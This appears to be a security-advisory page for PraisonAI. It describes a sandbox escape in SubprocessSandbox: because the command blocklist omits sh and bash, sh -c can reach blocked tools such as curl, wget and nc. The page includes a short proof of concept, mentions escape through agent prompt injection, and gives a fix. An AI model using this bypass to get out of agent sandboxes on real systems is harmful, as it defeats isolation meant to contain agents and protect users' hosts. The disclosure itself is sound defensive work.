PYSEC-2026-2921
Vulnerability from pysec - Published: 2026-07-13 14:36 - Updated: 2026-07-13 16:05
VLAI
Details
Summary
SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'.
Details
sandbox_executor.py:179 (source) -> sandbox_executor.py:326 (sink)
# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands: # sh, bash not blocked
raise SecurityError(...)
dangerous_patterns = [
("| sh", ...), # requires space -- "id|bash" evades this
("| bash", ...), # requires space
]
# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
command,
shell=True,
...
)
PoC
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode
policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)
result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via sh -c '<blocked_command>'. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.
Suggested Fix
import shlex
result = subprocess.run(
shlex.split(command),
shell=False,
cwd=cwd,
env=env,
capture_output=capture_output,
text=True,
timeout=timeout
)
Severity
8.8 (High)
Impacted products
| Name | purl | praisonai | pkg:pypi/praisonai |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonai",
"purl": "pkg:pypi/praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.97"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.1",
"0.0.10",
"0.0.11",
"0.0.12",
"0.0.13",
"0.0.14",
"0.0.15",
"0.0.16",
"0.0.17",
"0.0.18",
"0.0.19",
"0.0.2",
"0.0.20",
"0.0.21",
"0.0.22",
"0.0.23",
"0.0.24",
"0.0.25",
"0.0.26",
"0.0.27",
"0.0.28",
"0.0.29",
"0.0.3",
"0.0.30",
"0.0.31",
"0.0.32",
"0.0.33",
"0.0.34",
"0.0.35",
"0.0.36",
"0.0.37",
"0.0.38",
"0.0.39",
"0.0.4",
"0.0.40",
"0.0.41",
"0.0.42",
"0.0.43",
"0.0.44",
"0.0.45",
"0.0.46",
"0.0.47",
"0.0.48",
"0.0.49",
"0.0.5",
"0.0.50",
"0.0.52",
"0.0.53",
"0.0.54",
"0.0.55",
"0.0.56",
"0.0.57",
"0.0.58",
"0.0.59",
"0.0.59rc11",
"0.0.59rc2",
"0.0.59rc3",
"0.0.59rc5",
"0.0.59rc6",
"0.0.59rc7",
"0.0.59rc8",
"0.0.59rc9",
"0.0.6",
"0.0.61",
"0.0.64",
"0.0.65",
"0.0.66",
"0.0.67",
"0.0.68",
"0.0.69",
"0.0.7",
"0.0.70",
"0.0.71",
"0.0.72",
"0.0.73",
"0.0.74",
"0.0.8",
"0.0.9",
"0.1.0",
"0.1.1",
"0.1.10",
"0.1.2",
"0.1.3",
"0.1.4",
"0.1.5",
"0.1.6",
"0.1.7",
"0.1.8",
"0.1.9",
"1.0.0",
"1.0.1",
"1.0.10",
"1.0.11",
"1.0.2",
"1.0.3",
"1.0.4",
"1.0.5",
"1.0.6",
"1.0.8",
"1.0.9",
"2.0.0",
"2.0.1",
"2.0.10",
"2.0.11",
"2.0.12",
"2.0.13",
"2.0.14",
"2.0.15",
"2.0.16",
"2.0.17",
"2.0.18",
"2.0.19",
"2.0.2",
"2.0.20",
"2.0.22",
"2.0.23",
"2.0.24",
"2.0.25",
"2.0.26",
"2.0.27",
"2.0.28",
"2.0.29",
"2.0.3",
"2.0.30",
"2.0.31",
"2.0.32",
"2.0.33",
"2.0.34",
"2.0.35",
"2.0.36",
"2.0.37",
"2.0.38",
"2.0.39",
"2.0.40",
"2.0.41",
"2.0.42",
"2.0.43",
"2.0.44",
"2.0.45",
"2.0.46",
"2.0.47",
"2.0.48",
"2.0.49",
"2.0.5",
"2.0.50",
"2.0.51",
"2.0.53",
"2.0.54",
"2.0.55",
"2.0.56",
"2.0.57",
"2.0.58",
"2.0.59",
"2.0.6",
"2.0.60",
"2.0.61",
"2.0.62",
"2.0.63",
"2.0.64",
"2.0.65",
"2.0.66",
"2.0.67",
"2.0.68",
"2.0.69",
"2.0.7",
"2.0.70",
"2.0.71",
"2.0.72",
"2.0.73",
"2.0.74",
"2.0.75",
"2.0.76",
"2.0.77",
"2.0.78",
"2.0.79",
"2.0.8",
"2.0.80",
"2.0.81",
"2.0.9",
"2.1.0",
"2.1.1",
"2.1.4",
"2.1.5",
"2.1.6",
"2.2.1",
"2.2.10",
"2.2.11",
"2.2.12",
"2.2.13",
"2.2.14",
"2.2.15",
"2.2.16",
"2.2.17",
"2.2.18",
"2.2.19",
"2.2.2",
"2.2.20",
"2.2.21",
"2.2.22",
"2.2.24",
"2.2.25",
"2.2.26",
"2.2.27",
"2.2.28",
"2.2.29",
"2.2.3",
"2.2.30",
"2.2.31",
"2.2.32",
"2.2.33",
"2.2.34",
"2.2.35",
"2.2.36",
"2.2.37",
"2.2.38",
"2.2.39",
"2.2.4",
"2.2.40",
"2.2.41",
"2.2.42",
"2.2.43",
"2.2.44",
"2.2.45",
"2.2.46",
"2.2.47",
"2.2.48",
"2.2.49",
"2.2.5",
"2.2.50",
"2.2.51",
"2.2.52",
"2.2.53",
"2.2.54",
"2.2.55",
"2.2.56",
"2.2.57",
"2.2.58",
"2.2.59",
"2.2.6",
"2.2.60",
"2.2.61",
"2.2.62",
"2.2.63",
"2.2.64",
"2.2.65",
"2.2.66",
"2.2.67",
"2.2.68",
"2.2.69",
"2.2.7",
"2.2.70",
"2.2.71",
"2.2.72",
"2.2.73",
"2.2.74",
"2.2.75",
"2.2.76",
"2.2.77",
"2.2.78",
"2.2.79",
"2.2.8",
"2.2.80",
"2.2.81",
"2.2.82",
"2.2.83",
"2.2.84",
"2.2.86",
"2.2.87",
"2.2.88",
"2.2.89",
"2.2.9",
"2.2.90",
"2.2.91",
"2.2.93",
"2.2.95",
"2.2.96",
"2.2.97",
"2.2.98",
"2.2.99",
"2.3.0",
"2.3.1",
"2.3.10",
"2.3.11",
"2.3.12",
"2.3.13",
"2.3.14",
"2.3.15",
"2.3.16",
"2.3.18",
"2.3.19",
"2.3.2",
"2.3.20",
"2.3.21",
"2.3.22",
"2.3.23",
"2.3.24",
"2.3.25",
"2.3.26",
"2.3.27",
"2.3.28",
"2.3.29",
"2.3.3",
"2.3.30",
"2.3.31",
"2.3.32",
"2.3.33",
"2.3.34",
"2.3.35",
"2.3.36",
"2.3.37",
"2.3.38",
"2.3.39",
"2.3.4",
"2.3.40",
"2.3.41",
"2.3.42",
"2.3.43",
"2.3.44",
"2.3.45",
"2.3.46",
"2.3.47",
"2.3.48",
"2.3.49",
"2.3.5",
"2.3.50",
"2.3.51",
"2.3.52",
"2.3.53",
"2.3.54",
"2.3.55",
"2.3.56",
"2.3.57",
"2.3.58",
"2.3.59",
"2.3.6",
"2.3.60",
"2.3.61",
"2.3.62",
"2.3.63",
"2.3.64",
"2.3.65",
"2.3.66",
"2.3.67",
"2.3.68",
"2.3.69",
"2.3.7",
"2.3.70",
"2.3.71",
"2.3.72",
"2.3.73",
"2.3.74",
"2.3.75",
"2.3.76",
"2.3.77",
"2.3.78",
"2.3.79",
"2.3.8",
"2.3.80",
"2.3.81",
"2.3.82",
"2.3.83",
"2.3.84",
"2.3.85",
"2.3.86",
"2.3.87",
"2.3.9",
"2.4.0",
"2.4.1",
"2.4.2",
"2.4.3",
"2.4.4",
"2.5.0",
"2.5.1",
"2.5.2",
"2.5.3",
"2.5.4",
"2.5.5",
"2.5.6",
"2.5.7",
"2.6.0",
"2.6.1",
"2.6.2",
"2.6.3",
"2.6.4",
"2.6.5",
"2.6.6",
"2.6.7",
"2.6.8",
"2.7.0",
"2.8.3",
"2.8.4",
"2.8.5",
"2.8.6",
"2.8.7",
"2.8.8",
"2.8.9",
"2.9.0",
"2.9.1",
"2.9.2",
"3.0.0",
"3.0.1",
"3.0.2",
"3.0.3",
"3.0.4",
"3.0.5",
"3.0.6",
"3.0.7",
"3.0.8",
"3.0.9",
"3.1.0",
"3.1.1",
"3.1.2",
"3.1.3",
"3.1.4",
"3.1.5",
"3.1.6",
"3.1.7",
"3.1.8",
"3.1.9",
"3.10.0",
"3.10.1",
"3.10.10",
"3.10.11",
"3.10.12",
"3.10.13",
"3.10.14",
"3.10.15",
"3.10.16",
"3.10.17",
"3.10.18",
"3.10.19",
"3.10.2",
"3.10.20",
"3.10.21",
"3.10.22",
"3.10.23",
"3.10.24",
"3.10.25",
"3.10.26",
"3.10.27",
"3.10.3",
"3.10.4",
"3.10.5",
"3.10.6",
"3.10.7",
"3.10.8",
"3.10.9",
"3.11.0",
"3.11.1",
"3.11.10",
"3.11.11",
"3.11.12",
"3.11.13",
"3.11.14",
"3.11.2",
"3.11.3",
"3.11.4",
"3.11.8",
"3.11.9",
"3.12.0",
"3.12.1",
"3.12.2",
"3.12.3",
"3.2.0",
"3.2.1",
"3.3.0",
"3.3.1",
"3.4.0",
"3.4.1",
"3.5.0",
"3.5.1",
"3.5.2",
"3.5.3",
"3.5.4",
"3.5.5",
"3.5.6",
"3.5.7",
"3.5.8",
"3.5.9",
"3.6.0",
"3.6.1",
"3.6.2",
"3.7.0",
"3.7.1",
"3.7.2",
"3.7.3",
"3.7.4",
"3.7.5",
"3.7.6",
"3.7.7",
"3.7.8",
"3.7.9",
"3.8.0",
"3.8.1",
"3.8.10",
"3.8.11",
"3.8.12",
"3.8.13",
"3.8.14",
"3.8.16",
"3.8.17",
"3.8.18",
"3.8.19",
"3.8.2",
"3.8.20",
"3.8.21",
"3.8.22",
"3.8.3",
"3.8.4",
"3.8.5",
"3.8.6",
"3.8.7",
"3.8.8",
"3.8.9",
"3.9.0",
"3.9.1",
"3.9.10",
"3.9.11",
"3.9.12",
"3.9.13",
"3.9.14",
"3.9.15",
"3.9.16",
"3.9.17",
"3.9.18",
"3.9.19",
"3.9.2",
"3.9.20",
"3.9.21",
"3.9.22",
"3.9.23",
"3.9.24",
"3.9.25",
"3.9.26",
"3.9.27",
"3.9.28",
"3.9.29",
"3.9.3",
"3.9.30",
"3.9.31",
"3.9.32",
"3.9.33",
"3.9.34",
"3.9.35",
"3.9.4",
"3.9.5",
"3.9.6",
"3.9.7",
"3.9.8",
"3.9.9",
"4.0.0",
"4.1.0",
"4.2.0",
"4.2.1",
"4.2.2",
"4.2.3",
"4.2.4",
"4.3.0",
"4.3.1",
"4.4.0",
"4.4.10",
"4.4.11",
"4.4.12",
"4.4.2",
"4.4.3",
"4.4.4",
"4.4.5",
"4.4.6",
"4.4.7",
"4.4.8",
"4.4.9",
"4.5.0",
"4.5.1",
"4.5.10",
"4.5.11",
"4.5.12",
"4.5.13",
"4.5.14",
"4.5.15",
"4.5.16",
"4.5.18",
"4.5.19",
"4.5.2",
"4.5.20",
"4.5.21",
"4.5.22",
"4.5.23",
"4.5.24",
"4.5.25",
"4.5.26",
"4.5.27",
"4.5.28",
"4.5.29",
"4.5.3",
"4.5.30",
"4.5.31",
"4.5.32",
"4.5.33",
"4.5.34",
"4.5.35",
"4.5.36",
"4.5.37",
"4.5.38",
"4.5.39",
"4.5.40",
"4.5.41",
"4.5.42",
"4.5.43",
"4.5.44",
"4.5.45",
"4.5.46",
"4.5.48",
"4.5.49",
"4.5.5",
"4.5.51",
"4.5.52",
"4.5.54",
"4.5.55",
"4.5.56",
"4.5.57",
"4.5.58",
"4.5.59",
"4.5.6",
"4.5.60",
"4.5.62",
"4.5.63",
"4.5.64",
"4.5.65",
"4.5.67",
"4.5.68",
"4.5.69",
"4.5.7",
"4.5.70",
"4.5.71",
"4.5.72",
"4.5.73",
"4.5.74",
"4.5.76",
"4.5.77",
"4.5.78",
"4.5.79",
"4.5.8",
"4.5.80",
"4.5.81",
"4.5.82",
"4.5.83",
"4.5.85",
"4.5.87",
"4.5.88",
"4.5.89",
"4.5.9",
"4.5.90",
"4.5.93",
"4.5.94",
"4.5.95",
"4.5.96"
]
}
],
"aliases": [
"CVE-2026-34955",
"GHSA-r4f2-3m54-pp7q"
],
"details": "### Summary\n\n`SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c \u0027\u003ccommand\u003e\u0027`.\n\n### Details\n\n`sandbox_executor.py:179` (source) -\u003e `sandbox_executor.py:326` (sink)\n```python\n# source -- string-pattern blocklist, sh and bash not in blocked_commands\ncmd_name = Path(parts[0]).name\nif cmd_name in self.policy.blocked_commands: # sh, bash not blocked\n raise SecurityError(...)\ndangerous_patterns = [\n (\"| sh\", ...), # requires space -- \"id|bash\" evades this\n (\"| bash\", ...), # requires space\n]\n\n# sink -- shell=True spawns /bin/sh regardless of sandbox mode\nresult = subprocess.run(\n command,\n shell=True,\n ...\n)\n```\n\n### PoC\n```python\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\nimport sys\nsys.path.insert(0, \u0027src/praisonai\u0027)\nfrom praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode\n\npolicy = SandboxPolicy.for_mode(SandboxMode.STRICT)\nsandbox = SubprocessSandbox(policy=policy)\n\nresult = sandbox.execute(\"sh -c \u0027id\u0027\")\nprint(result.stdout)\n# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nUsers who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via `sh -c \u0027\u003cblocked_command\u003e\u0027`. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.\n\n### Suggested Fix\n```python\nimport shlex\n\nresult = subprocess.run(\n shlex.split(command),\n shell=False,\n cwd=cwd,\n env=env,\n capture_output=capture_output,\n text=True,\n timeout=timeout\n)\n```",
"id": "PYSEC-2026-2921",
"modified": "2026-07-13T16:05:41.621249Z",
"published": "2026-07-13T14:36:46.843966Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r4f2-3m54-pp7q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34955"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/praisonai"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-r4f2-3m54-pp7q"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…